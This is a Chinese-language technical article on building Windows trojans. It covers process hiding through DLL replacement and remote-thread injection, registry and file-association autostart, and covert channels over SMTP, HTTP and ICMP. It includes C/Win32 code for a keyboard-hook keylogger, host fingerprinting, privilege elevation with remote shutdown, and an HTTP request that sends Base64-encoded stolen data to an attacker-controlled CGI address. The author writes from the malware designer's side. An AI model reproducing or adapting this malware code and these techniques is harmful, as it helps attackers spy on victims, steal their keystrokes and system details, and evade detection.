引言
近年來(lái),黑客攻擊層出不窮,對(duì)網(wǎng)絡(luò)安全構(gòu)成了極大的威脅。木馬是黑客的主要攻擊手段之一,它通過(guò)滲透進(jìn)入對(duì)方主機(jī)系統(tǒng),從而實(shí)現(xiàn)對(duì)目標(biāo)主機(jī)的遠(yuǎn)程操作,破壞力相當(dāng)之大。
到目前為止,木馬的發(fā)展已經(jīng)歷了五代:
第一代木馬只是實(shí)現(xiàn)簡(jiǎn)單的密碼竊取、發(fā)送等,在隱藏和通信方面均無(wú)特別之處。
第二代木馬的典型代表是冰河,它以文件關(guān)聯(lián)方式啟動(dòng),通過(guò)電子郵件傳送信息,在木馬技術(shù)發(fā)展史上開(kāi)辟了新的篇章。
第三代木馬的信息傳輸方式有所突破,采用ICMP協(xié)議,增加了查殺的難度。
第四代木馬在進(jìn)程隱藏方面獲得了重大突破,采用插入內(nèi)核的嵌入方式、利用遠(yuǎn)程插入線程技術(shù)、嵌入DLL線程、或掛接PSAPI等,實(shí)現(xiàn)木馬程序的隱藏,利用反彈端口技術(shù)突破防火墻限制,在Windows NT/2000下取得了良好的隱藏效果。
第五代木馬與病毒緊密結(jié)合,利用操作系統(tǒng)漏洞,直接實(shí)現(xiàn)感染傳播的目的,而不必象以前的木馬那樣需要欺騙用戶主動(dòng)激活,例如最近新出現(xiàn)的類(lèi)似沖擊波病毒的木馬—噩夢(mèng)II。
木馬的關(guān)鍵技術(shù)
木馬基于C/S模式,服務(wù)器端程序運(yùn)行于被控制的主機(jī)上,客戶端完成控制功能。設(shè)計(jì)木馬時(shí),需考慮幾個(gè)關(guān)鍵因素:首先要具有深度的隱蔽性,保證木馬的隱蔽運(yùn)行和啟動(dòng),其次要能順利實(shí)現(xiàn)客戶端與服務(wù)器端的通信,最后還要根據(jù)需要實(shí)現(xiàn)其他功能。
一、木馬的隱藏
有兩種方法可以隱藏木馬:一種是DLL 木馬,它讓木馬消失在進(jìn)程列表里,但程序的進(jìn)程仍然存在;另一種方法則是線程注入式木馬,它讓程序徹底消失,不以進(jìn)程或服務(wù)方式工作。
1、DLL木馬
只要把木馬服務(wù)器端的程序注冊(cè)為一個(gè)服務(wù),系統(tǒng)就不會(huì)再把它當(dāng)作進(jìn)程,程序便會(huì)從任務(wù)列表中消失,按下Ctrl+Alt+Delete后,也就看不到該程序。
此方法首先要裝載Kernel32.dll,然后在該DLL中確定函數(shù)RegisterServiceProcess()的地址進(jìn)行調(diào)用,但只適用于Windows9x/Me的系統(tǒng),Windows NT/2000通過(guò)服務(wù)管理器依然能夠發(fā)現(xiàn)在系統(tǒng)中注冊(cè)過(guò)的服務(wù)。
在Windows NT/2000下可采用過(guò)濾進(jìn)程的方法(即API攔截技術(shù)),通過(guò)建立一個(gè)后臺(tái)系統(tǒng)鉤子(hook),攔截PSAPI的EnumProcessModules等相關(guān)函數(shù)控制進(jìn)程和服務(wù)的遍歷調(diào)用,當(dāng)檢測(cè)到木馬程序的服務(wù)器端進(jìn)程時(shí)直接跳過(guò),從而實(shí)現(xiàn)進(jìn)程的隱藏。這種方法應(yīng)用廣泛,除了用于進(jìn)程隱藏以外,還廣泛應(yīng)用于諸多即時(shí)軟件,如金山詞霸就使用類(lèi)似方法,攔截TextOutA、TextOutW函數(shù),截獲屏幕輸出,實(shí)現(xiàn)即時(shí)翻譯。
DLL文件是Windows的基礎(chǔ),所有的API函數(shù)都是在DLL中實(shí)現(xiàn)的。DLL由多個(gè)功能函數(shù)構(gòu)成,入口函數(shù)是DllMain,它并不能獨(dú)立運(yùn)行,一般由進(jìn)程加載并調(diào)用。由于DLL文件不能獨(dú)立運(yùn)行,所以在進(jìn)程列表中并不會(huì)出現(xiàn)DLL,而只出現(xiàn)加載進(jìn)程。運(yùn)行DLL文件隱藏進(jìn)程的最簡(jiǎn)單方法是利用Rundll32.exe,但也很容易被識(shí)破,比較高級(jí)的做法是使用特洛伊DLL,它使用木馬DLL替換常用的DLL文件,通過(guò)函數(shù)轉(zhuǎn)發(fā)器將正常的調(diào)用轉(zhuǎn)發(fā)給原DLL,截獲并處理特定的消息。但是,WINDOWS操作系統(tǒng)對(duì)此具有相當(dāng)?shù)姆婪叮琖in2000的system32目錄下有一個(gè)dllcache目錄,存放著大量的DLL文件(還包括一些重要的exe文件),一旦操作系統(tǒng)發(fā)現(xiàn)被保護(hù)的DLL文件被篡改,就會(huì)自動(dòng)從dllcache中恢復(fù)該文件。此外,特洛伊DLL方法本身也存在一些漏洞(如修復(fù)安裝、安裝補(bǔ)丁、升級(jí)系統(tǒng)、檢查數(shù)字簽名等都可能導(dǎo)致特洛伊DLL失效),并不是DLL木馬的最優(yōu)選擇。盡管如此,仍有很多方法可以繞過(guò)DLL保護(hù)(如先更改dllcache目錄中的備份再修改DLL文件、或利用KnownDLLs鍵值更改DLL的默認(rèn)啟動(dòng)路徑等)。
2、線程注入式木馬
更好的隱藏方式是使木馬程序不以進(jìn)程和服務(wù)的方式存在,而是完全溶入系統(tǒng)內(nèi)核。因此,在設(shè)計(jì)時(shí),我們不應(yīng)把它做成一個(gè)應(yīng)用程序,而是做成一個(gè)可以注入應(yīng)用程序地址空間的線程。該應(yīng)用程序必須確保絕對(duì)安全,這樣才能達(dá)到徹底隱藏的效果,增加查殺的難度。線程注入式木馬采用動(dòng)態(tài)嵌入技術(shù)將自己的代碼嵌入正在運(yùn)行的進(jìn)程中。
Windows中每個(gè)進(jìn)程都有自己的私有內(nèi)存空間,其他進(jìn)程不得對(duì)該私有空間進(jìn)行操作,但實(shí)際上,有很多方法可操作私有空間。動(dòng)態(tài)嵌入技術(shù)很多,如窗口Hook、掛接API、遠(yuǎn)程線程等,遠(yuǎn)程線程技術(shù)相對(duì)簡(jiǎn)單,只要有基本的進(jìn)程線程和動(dòng)態(tài)鏈接庫(kù)的知識(shí)就可以輕松實(shí)現(xiàn)。
遠(yuǎn)程線程技術(shù)指的是通過(guò)在一個(gè)遠(yuǎn)程進(jìn)程中創(chuàng)建遠(yuǎn)程線程的方法進(jìn)入該進(jìn)程的內(nèi)存地址空間。可以通過(guò)CreateRemoteThread函數(shù)在一個(gè)遠(yuǎn)程進(jìn)程內(nèi)創(chuàng)建遠(yuǎn)程線程,被創(chuàng)建的遠(yuǎn)程線程可以共享遠(yuǎn)程進(jìn)程的地址空間,這樣就可以通過(guò)該線程進(jìn)入遠(yuǎn)程進(jìn)程的內(nèi)存地址空間,從而擁有了遠(yuǎn)程進(jìn)程相當(dāng)?shù)臋?quán)限,如在遠(yuǎn)程進(jìn)程內(nèi)部啟動(dòng)一個(gè)DLL木馬,甚至可以隨意篡改其中的數(shù)據(jù)。遠(yuǎn)程線程技術(shù)的關(guān)鍵在于要將線程函數(shù)執(zhí)行體及其參數(shù)復(fù)制到遠(yuǎn)程進(jìn)程空間中,否則遠(yuǎn)程線程會(huì)在執(zhí)行時(shí)因找不到參數(shù)而報(bào)錯(cuò)。
二、木馬服務(wù)器端程序的自加載運(yùn)行
程序自運(yùn)行的常見(jiàn)方法有:加載程序到啟動(dòng)組;將程序啟動(dòng)路徑寫(xiě)到注冊(cè)表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run子鍵(以及RunOnce、RunService、RunOnceService等);修改Boot.ini;通過(guò)注冊(cè)表中的輸入法鍵值直接掛接啟動(dòng);修改Explorer.exe啟動(dòng)參數(shù)以及在win.ini和system.ini中的load節(jié)中添加啟動(dòng)項(xiàng);在Autoexec.bat中添加程序等。
下面的程序通過(guò)修改注冊(cè)表中HKEY_LOCAL_MACHINE\ Microsoft\ SOFTWARE\Windows\CurrentVersions\Run的鍵值實(shí)現(xiàn)木馬的自啟動(dòng):
RegCreateKeyEx(
HKEY_LOCAL_MACHINE, // handle to open key
" SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN", // subkey
0,NULL, // class string
REG_OPTION_NON_VOLATILE, // special options
KEY_READ|KEY_WRITE, // desired security access
NULL,&mKeyClass,&dwDisposition // disposition value buffer
);
RegSetValueEx(mKeyClass,NULL,0,REG_SZ,
(const unsigned char *)Name, lstrlen(PathBuf)+1);
RegCloseKey(mKeyClass);
冰河木馬就采用了文件關(guān)聯(lián)實(shí)現(xiàn)木馬的啟動(dòng)。以文本文件關(guān)聯(lián)為例,注冊(cè)表中HKEY_CLASSES_ROOT\txtfile\shell\open\command的值是文本文件(*.txt文件)的關(guān)聯(lián)處,缺省為“%SystemRoot%\system32\NOTEPAD.EXE %1”,將其改為木馬程序,那么,以后打開(kāi)文本文件時(shí)就會(huì)先執(zhí)行木馬程序,木馬啟動(dòng)后,再運(yùn)行notepad.exe打開(kāi)指定文件。這個(gè)過(guò)程在一般人來(lái)看,好像什么事也沒(méi)發(fā)生過(guò)。
DLL木馬替換了系統(tǒng)原有的動(dòng)態(tài)連接庫(kù),系統(tǒng)裝載這些連接庫(kù)時(shí)就啟動(dòng)了木馬。這種啟動(dòng)方式相當(dāng)隱蔽,著名的GINA木馬就是通過(guò)替換系統(tǒng)的GINA程序,在木馬DLL中導(dǎo)出系統(tǒng)函數(shù),實(shí)現(xiàn)系統(tǒng)正常功能,然后再根據(jù)需要實(shí)現(xiàn)自身的木馬功能。
三、木馬程序的通信
木馬程序傳遞數(shù)據(jù)的方法很多,最常見(jiàn)是用TCP、UDP協(xié)議,但這種方法的隱蔽性比較差,容易查到,例如,用netstat命令就可以查看到當(dāng)前活動(dòng)的TCP、UDP連接。
但仍有很多手段躲避這種偵察,筆者曾嘗試過(guò)以下兩種方法:
一種方法是將木馬的通信連接綁定在通用端口上,通過(guò)這些服務(wù)端口發(fā)送信息。例如:將被攻擊主機(jī)的信息以電子郵件的形式傳送到攻擊者的電子信箱或上傳到某FTP主機(jī)上,也可用免費(fèi)主頁(yè)空間作信息中轉(zhuǎn)站。利用FTP協(xié)議將信息上傳到FTP站點(diǎn)的做法很容易被跟蹤,利用SMTP協(xié)議將信息通過(guò)電子郵件方式回傳不易被反跟蹤,最多只能找到攻擊者信箱,但防火墻和一些殺毒軟件發(fā)現(xiàn)本地有郵件發(fā)送時(shí),可能會(huì)將其屏蔽并提示用戶。利用HTTP協(xié)議上傳信息對(duì)攻擊者相當(dāng)安全,防火墻無(wú)法分辨?zhèn)魉偷男畔⑹怯脩羯暇W(wǎng)瀏覽的交互信息還是木馬發(fā)送的個(gè)人信息,這種方法將在后面進(jìn)行詳細(xì)介紹。但是,這些手段都要通過(guò)建立TCP連接傳遞命令和數(shù)據(jù)的,所以存在一個(gè)致命漏洞:木馬在等待和運(yùn)行的過(guò)程中,始終有一個(gè)和外界聯(lián)系的端口打開(kāi)著。
另一種辦法是使用ICMP協(xié)議。ICMP報(bào)文由系統(tǒng)內(nèi)核或進(jìn)程直接處理而不通過(guò)端口,如果木馬將自己偽裝成一個(gè)Ping進(jìn)程,系統(tǒng)就會(huì)將ICMP_ECHOREPLY(Ping的回應(yīng)包)的監(jiān)聽(tīng)、處理權(quán)交給木馬進(jìn)程,一旦事先約定好的ICMP_ECHOREPLY包出現(xiàn)(這樣的包經(jīng)過(guò)修改ICMP包頭,加入了木馬的控制字段),木馬就會(huì)接受、分析并從報(bào)文中解析出命令和數(shù)據(jù)。防火墻一般不會(huì)對(duì)ICMP_ECHOREPLY報(bào)文進(jìn)行過(guò)濾,因?yàn)檫^(guò)濾ICMP_ECHOREPLY報(bào)文就意味著主機(jī)無(wú)法對(duì)外進(jìn)行Ping等路由診斷操作。
DLL木馬的功能實(shí)現(xiàn)
木馬的主要功能包括:獲取擊鍵記錄、獲取主機(jī)信息、上傳主機(jī)信息以及接受控制端命令遠(yuǎn)程關(guān)機(jī)等。
1、在主程序中設(shè)置鉤子:
實(shí)現(xiàn)記錄按鍵的方法主要利用鍵盤(pán)鉤子和通過(guò)設(shè)計(jì)低層鍵盤(pán)驅(qū)動(dòng)程序?qū)崿F(xiàn),使用鍵盤(pán)鉤子實(shí)現(xiàn)的代碼如下:
SetWindowsHookEx(WH_JOURNALRECORD,KeyboardProc,g_module,0);
其中KeyboardProc是回調(diào)函數(shù):
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
if(code<0) return CallNextHookEx(g_hLogHook,code,wParam,lParam);
if(code==HC_ACTION)
{
EVENTMSG *pEvt=(EVENTMSG *)lParam;
if(pEvt->message==WM_KEYDOWN)
{
…//判斷是否擊鍵,是則記錄到文件中
}
}
return CallNextHookEx(g_hLogHook,code,wParam,lParam);
}
2、獲取主機(jī)信息(包括主機(jī)名、IP地址、操作系統(tǒng)版本等):
WORD wVersionRequested = MAKEWORD(1, 1);
WSADATA wsaData;
WSAStartup(wVersionRequested, &wsaData);
char hostname[256];
int res = gethostname(hostname, sizeof(hostname)); //獲取主機(jī)名
hostent* pHostent = gethostbyname(hostname); //獲取主機(jī)IP地址
hostent& he = *pHostent;
sockaddr_in sa;
memcpy ( &sa.sin_addr.s_addr, he.h_addr_list[0],he.h_length);
lstrcpy(&MyIP[0] , inet_ntoa(sa.sin_addr));
WSACleanup();
dwVersion = GetVersion(); //得到WINDOWS的版本號(hào)
dwWindowsMajorVersion = (DWORD)(LOBYTE(LOWORD(dwVersion)));
dwWindowsMinorVersion = (DWORD)(HIBYTE(LOWORD(dwVersion)));
if (dwVersion < 0x80000000) // 是Windows NT系統(tǒng)
dwBuild = (DWORD)(HIWORD(dwVersion));
else if (dwWindowsMajorVersion < 4) // 是Win32系統(tǒng)
dwBuild = (DWORD)(HIWORD(dwVersion) & ~0x8000);
else // 是Windows 95系統(tǒng)
dwBuild = 0;
3、遠(yuǎn)程關(guān)機(jī):
當(dāng)木馬程序接收到關(guān)機(jī)命令時(shí),執(zhí)行關(guān)機(jī)操作,需要提升權(quán)限,否則系統(tǒng)認(rèn)為權(quán)限不夠?qū)⒔蛊鋱?zhí)行。
提升權(quán)限:
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
if ( ! OpenProcessToken( GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
return;
LookupPrivilegeValue( NULL, SE_SHUTDOWN_NAME, &sedebugnameValue );
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if ( ! AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL ) )
CloseHandle( hToken );
關(guān)機(jī):
ExitWindowsEx(EWX_SHUTDOWN, 0);
4、上傳主機(jī)信息:
木馬獲取主機(jī)信息之后,將其回傳到攻擊者主機(jī)、郵箱或主頁(yè)空間。
上傳到主頁(yè)空間要使用HTTP協(xié)議,構(gòu)造協(xié)議包如下:
char header[1324]="GET HTTP://";
char html[]="HTTP/1.0\r\n Accept:*/*\r\nAccept-language:ZH-cn\r\n
User-Agent:Mozilla/4.0(compatible,MSIE,windows95)\r\nhost:";
char hend[]="\r\nproxy-connection:keep-alive\r\n\r\n";
然后填充信息:
lstrcat(header,hmyip[0]);// hmyip即為攻擊者的主頁(yè)空間地址
lstrcat(header,"/cgi-bin/fh.cgi?");
lstrcat(header,str); //str就是要上傳的信息,需要先經(jīng)過(guò)Base64編碼
lstrcat(header,html);
lstrcat(header,hmyip[0]);
lstrcat(header,hend);
構(gòu)造好協(xié)議包之后,利用socket通信將該包發(fā)給服務(wù)器即可。這種方法安全隱蔽,防火墻無(wú)法判斷出傳送的數(shù)據(jù)是否合法。
5、新的傳播方式:以往的木馬在傳播方式上缺乏十分有效的手段,主要利用社會(huì)工程學(xué)知識(shí)誘騙用戶點(diǎn)擊鏈接,或?qū)⒛抉R程序與其他程序捆綁在一起,欺騙用戶執(zhí)行程序。隨著人們安全意識(shí)的不斷提高,這種方法已經(jīng)越來(lái)越難奏效。病毒的傳播方式啟發(fā)木馬的設(shè)計(jì)者利用操作系統(tǒng)漏洞(如WINDOWS系統(tǒng)下的緩沖區(qū)溢出漏洞),將木馬代碼寫(xiě)入SHELLCODE,只要通過(guò)遠(yuǎn)程向目標(biāo)主機(jī)發(fā)送一個(gè)數(shù)據(jù)包,目標(biāo)主機(jī)就會(huì)發(fā)生緩沖區(qū)溢出,代碼跳轉(zhuǎn)執(zhí)行SHELLCODE,將木馬植入目標(biāo)主機(jī),無(wú)需用戶介入。沖擊波病毒就是利用了WINDOWS系統(tǒng)的RPC漏洞。
結(jié)束語(yǔ)
“道高一尺、魔高一丈”,攻擊與防御是相輔相承的關(guān)系,攻擊手段的進(jìn)步最終必然導(dǎo)致防御技術(shù)的提高,而為了突破防御能力增強(qiáng)的系統(tǒng),攻擊者又會(huì)找到新的攻擊方式,木馬技術(shù)也將隨之得以不斷的擴(kuò)充和發(fā)展。